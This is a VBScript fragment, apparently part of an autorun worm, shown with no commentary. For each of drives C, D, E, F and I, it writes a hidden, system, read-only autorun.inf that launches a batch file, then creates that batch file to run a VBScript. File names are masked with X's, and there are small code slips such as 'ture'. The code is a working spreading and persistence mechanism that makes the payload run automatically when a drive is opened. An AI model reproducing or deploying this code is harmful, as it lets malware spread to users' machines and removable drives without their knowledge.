If fso.FileExists( "C:\autorun.inf")  Then    
Set objFolder = fso.GetFile( "C:\autorun.inf")    
Else    
wsh.run  "cmd /c echo [AutoRun]>>C:\autorun.inf"_    
& "&& echo open=XXXXXXX.bat >>C:\autorun.inf"_    
& "&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_    
& "&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_    
& "&& echo shell=Auto>>C:\autorun.inf"_    
& "&& attrib +h +s +r C:\autorun.inf"    
set autobatc=fso.createtextfile( "c:\XXXXXX.bat",1,ture)    
autobatc.writeline( "XXXXXX.vbs")    
End  If    
If fso.FileExists( "D:\autorun.inf")  Then    
Set objFolder = fso.GetFile( "D:\autorun.inf")    
Else    
wsh.run  "cmd /c echo [AutoRun]>>D:\autorun.inf"_    
& "&& echo open=XXXXXXX.bat >>D:\autorun.inf"_    
& "&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_    
& "&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_    
& "&& echo shell=Auto>>D:\autorun.inf"_    
& "&& attrib +h +s +r D:\autorun.inf"    
set autobatd=fso.createtextfile( "D:\XXXXX.bat",1,ture)    
autobatd.writeline( "XXXX.vbs")    
End  If    
If fso.FileExists( "E:\autorun.inf")  Then    
Set objFolder = fso.GetFile( "E:\autorun.inf")    
Else    
wsh.run  "cmd /c echo [AutoRun]>>E:\autorun.inf"_    
& "&& echo open=XXXXX.bat >>E:\autorun.inf"_    
& "&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_    
& "&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_    
& "&& echo shell=Auto>>E:\autorun.inf"_    
& "&& attrib +h +s +r E:\autorun.inf"    
set autobate=fso.createtextfile( "E:\XXXXX.bat",1,ture)    
autobate.writeline( "XXXXXX.vbs")    
End  If    
If fso.FileExists( "F:\autorun.inf")  Then    
Set objFolder = fso.GetFile( "F:\autorun.inf")    
Else    
wsh.run  "cmd /c echo [AutoRun]>>F:\autorun.inf"_    
& "&& echo open=NXXXX.bat >>F:\autorun.inf"_    
& "&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_    
& "&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_    
& "&& echo shell=Auto>>F:\autorun.inf"_    
& "&& attrib +h +s +r F:\autorun.inf"    
set autobatf=fso.createtextfile( "F:\XXXXX",1,ture)    
autobatf.writeline( "XXXXXX.vbs")    
End  If    
If fso.FileExists( "I:\autorun.inf")  Then    
Set objFolder = fso.GetFile( "I:\autorun.inf")    
Else    
wsh.run  "cmd /c echo [AutoRun]>>I:\autorun.inf"_    
& "&& echo open=XXXXX.bat >>I:\autorun.inf"_    
& "&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_    
& "&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_    
& "&& echo shell=Auto>>I:\autorun.inf"_    
& "&& attrib +h +s +r I:\autorun.inf"    
set autobatf=fso.createtextfile( "I:\XXXXX.bat",1,ture)    
autobatf.writeline( "XXXXXXX.vbs")    
End  If